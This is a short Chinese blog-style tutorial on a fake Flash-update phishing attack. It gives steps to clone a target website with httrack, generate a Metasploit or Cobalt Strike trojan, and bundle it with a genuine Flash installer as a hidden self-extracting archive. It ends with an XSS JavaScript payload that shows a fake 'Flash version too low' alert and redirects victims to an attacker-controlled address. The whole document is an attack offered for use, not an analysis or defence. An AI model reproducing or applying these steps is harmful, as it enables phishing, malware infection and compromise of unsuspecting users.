水一篇☔️

  1. 安装完整页面爬取工具
1
2
3
# kali
apt-get install httrack
# yum install httrack –y
  1. 运行httrack，爬取需要爬取的页面，按提示填写
  2. 去比对官网页面修改不一样的地方，使首页和目标一样
  3. 下载flash正常exe，生成相应木马如msf/cs等
  4. 制作合成木马
    1. 将两个木马放在同一个目录下
    2. 填写以exe结尾的文件名image.png
    3. 点高级，进入自解压，填写解压绝对路径image.png
    4. 填写解压后的两个文件名image.png
    5. 选择全部隐藏image.png
    6. image.png

flash结合xss

1
2
3
4
5
6
7
8
9
10
window.alert = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src",'data:text/plain,');
document.documentElement.appendChild(iframe);
window.frames[0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert("您的FLASH版本过低，尝试升级后访问该页面! ");
window.location.href="http://192.168.0.110";